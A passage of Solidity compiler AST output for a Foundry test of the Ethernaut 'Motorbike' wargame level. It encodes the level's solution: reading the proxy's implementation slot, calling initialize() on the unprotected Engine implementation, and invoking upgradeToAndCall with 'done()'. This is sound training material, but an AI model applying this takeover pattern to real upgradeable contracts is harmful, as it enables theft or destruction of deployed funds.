memory"}},"nodeType":"VariableDeclarationStatement","src":"783:47:139"},{"expression":{"id":62621,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62617,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"841:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62618,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62612,"src":"849:5:139","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62620,"indexExpression":{"hexValue":"30","id":62619,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"855:1:139","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"849:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"841:16:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62622,"nodeType":"ExpressionStatement","src":"841:16:139"},{"expression":{"arguments":[{"id":62626,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"876:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":62627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"883:7:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":62623,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"867:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62625,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"870:5:139","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"867:8:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"867:24:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62629,"nodeType":"ExpressionStatement","src":"867:24:139"},{"expression":{"id":62634,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62630,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"902:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62631,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62612,"src":"911:5:139","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62633,"indexExpression":{"hexValue":"31","id":62632,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"917:1:139","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"911:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"902:17:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62635,"nodeType":"ExpressionStatement","src":"902:17:139"},{"expression":{"arguments":[{"id":62639,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"938:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":62640,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"946:8:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":62636,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"929:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62638,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"932:5:139","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"929:8:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"929:26:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62642,"nodeType":"ExpressionStatement","src":"929:26:139"},{"expression":{"arguments":[{"id":62646,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"980:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62643,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"966:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62645,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"969:10:139","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"966:13:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62647,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"966:20:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62648,"nodeType":"ExpressionStatement","src":"966:20:139"},{"expression":{"id":62653,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62649,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"996:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":62651,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62605,"src":"1035:5:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62650,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1008:26:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":62652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1008:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"996:45:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62654,"nodeType":"ExpressionStatement","src":"996:45:139"},{"assignments":[62657],"declarations":[{"constant":false,"id":62657,"mutability":"mutable","name":"factory","nameLocation":"1064:7:139","nodeType":"VariableDeclaration","scope":62744,"src":"1051:20:139","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"},"typeName":{"id":62656,"nodeType":"UserDefinedTypeName","pathNode":{"id":62655,"name":"DummyFactory","nameLocations":["1051:12:139"],"nodeType":"IdentifierPath","referencedDeclaration":52145,"src":"1051:12:139"},"referencedDeclaration":52145,"src":"1051:12:139","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"visibility":"internal"}],"id":62663,"initialValue":{"arguments":[{"arguments":[{"hexValue":"4d6f746f7262696b65466163746f7279","id":62660,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1101:18:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_8204f06fcf202945b78fa7fcf1d3b2817a38755d46370121173c8eb2c099eaaa","typeString":"literal_string \"MotorbikeFactory\""},"value":"MotorbikeFactory"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8204f06fcf202945b78fa7fcf1d3b2817a38755d46370121173c8eb2c099eaaa","typeString":"literal_string \"MotorbikeFactory\""}],"id":62659,"name":"getOldFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66672,"src":"1087:13:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$","typeString":"function (string memory) returns (address)"}},"id":62661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1087:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62658,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"1074:12:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DummyFactory_$52145_$","typeString":"type(contract DummyFactory)"}},"id":62662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1074:47:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}},"nodeType":"VariableDeclarationStatement","src":"1051:70:139"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":62670,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62657,"src":"1169:7:139","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":62669,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1161:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62668,"name":"address","nodeType":"ElementaryTypeName","src":"1161:7:139","typeDescriptions":{}}},"id":62671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1161:16:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62667,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1155:5:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1155:23:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":62664,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"1131:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62666,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1141:13:139","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1131:23:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":62673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1131:48:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62674,"nodeType":"ExpressionStatement","src":"1131:48:139"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62675,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1189:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62677,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1192:9:139","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1189:12:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62678,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1189:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62679,"nodeType":"ExpressionStatement","src":"1189:14:139"},{"expression":{"arguments":[{"id":62683,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"1410:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62680,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1396:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62682,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1399:10:139","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1396:13:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62684,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1396:21:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62685,"nodeType":"ExpressionStatement","src":"1396:21:139"},{"expression":{"id":62700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62686,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"1427:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"id":62690,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"1466:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":62694,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62657,"src":"1491:7:139","typeDescriptions":{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DummyFactory_$52145","typeString":"contract DummyFactory"}],"id":62693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1483:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62692,"name":"address","nodeType":"ElementaryTypeName","src":"1483:7:139","typeDescriptions":{}}},"id":62695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1483:16:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62691,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1477:5:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1477:23:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":62697,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1502:1:139","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":62689,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1446:19:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":62698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1446:58:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1438:8:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62687,"name":"address","nodeType":"ElementaryTypeName","src":"1438:8:139","stateMutability":"payable","typeDescriptions":{}}},"id":62699,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1438:67:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1427:78:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62701,"nodeType":"ExpressionStatement","src":"1427:78:139"},{"assignments":[62703],"declarations":[{"constant":false,"id":62703,"mutability":"mutable","name":"engine","nameLocation":"1523:6:139","nodeType":"VariableDeclaration","scope":62744,"src":"1515:14:139","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":62702,"name":"address","nodeType":"ElementaryTypeName","src":"1515:7:139","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":62718,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":62712,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"1577:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc","id":62713,"isConstant":false,"isLValue":false,"isPure":true,"kind":"hexString","lValueRequested":false,"nodeType":"Literal","src":"1587:69:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_75b20eef8615de99c108b05f0dbda081c91897128caa336d75dffb97c4132b4d","typeString":"literal_string hex\"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc\""}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_75b20eef8615de99c108b05f0dbda081c91897128caa336d75dffb97c4132b4d","typeString":"literal_string hex\"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc\""}],"expression":{"id":62710,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1569:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62711,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1572:4:139","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"1569:7:139","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":62714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1569:88:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":62709,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1561:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":62708,"name":"uint256","nodeType":"ElementaryTypeName","src":"1561:7:139","typeDescriptions":{}}},"id":62715,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1561:97:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":62707,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1553:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":62706,"name":"uint160","nodeType":"ElementaryTypeName","src":"1553:7:139","typeDescriptions":{}}},"id":62716,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1553:106:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":62705,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1532:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62704,"name":"address","nodeType":"ElementaryTypeName","src":"1532:7:139","typeDescriptions":{}}},"id":62717,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1532:137:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1515:154:139"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":62720,"name":"engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62703,"src":"1686:6:139","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62719,"name":"Engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62594,"src":"1679:6:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Engine_$62594_$","typeString":"type(contract Engine)"}},"id":62721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1679:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$62594","typeString":"contract Engine"}},"id":62722,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1694:10:139","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":62586,"src":"1679:25:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62723,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1679:27:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62724,"nodeType":"ExpressionStatement","src":"1679:27:139"},{"expression":{"arguments":[{"arguments":[{"id":62731,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1756:4:139","typeDescriptions":{"typeIdentifier":"t_contract$_TestMotorbike_$62794","typeString":"contract TestMotorbike"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_TestMotorbike_$62794","typeString":"contract TestMotorbike"}],"id":62730,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1748:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62729,"name":"address","nodeType":"ElementaryTypeName","src":"1748:7:139","typeDescriptions":{}}},"id":62732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1748:13:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"646f6e652829","id":62735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1787:8:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_ae8421e192579dba0c002248e19188b9702d3629c322a803380b3008f31a16ed","typeString":"literal_string \"done()\""},"value":"done()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ae8421e192579dba0c002248e19188b9702d3629c322a803380b3008f31a16ed","typeString":"literal_string \"done()\""}],"expression":{"id":62733,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1763:3:139","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":62734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1767:19:139","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1763:23:139","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":62736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1763:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":62726,"name":"engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62703,"src":"1723:6:139","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62725,"name":"Engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62594,"src":"1716:6:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Engine_$62594_$","typeString":"type(contract Engine)"}},"id":62727,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1716:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$62594","typeString":"contract Engine"}},"id":62728,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1731:16:139","memberName":"upgradeToAndCall","nodeType":"MemberAccess","referencedDeclaration":62593,"src":"1716:31:139","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) payable 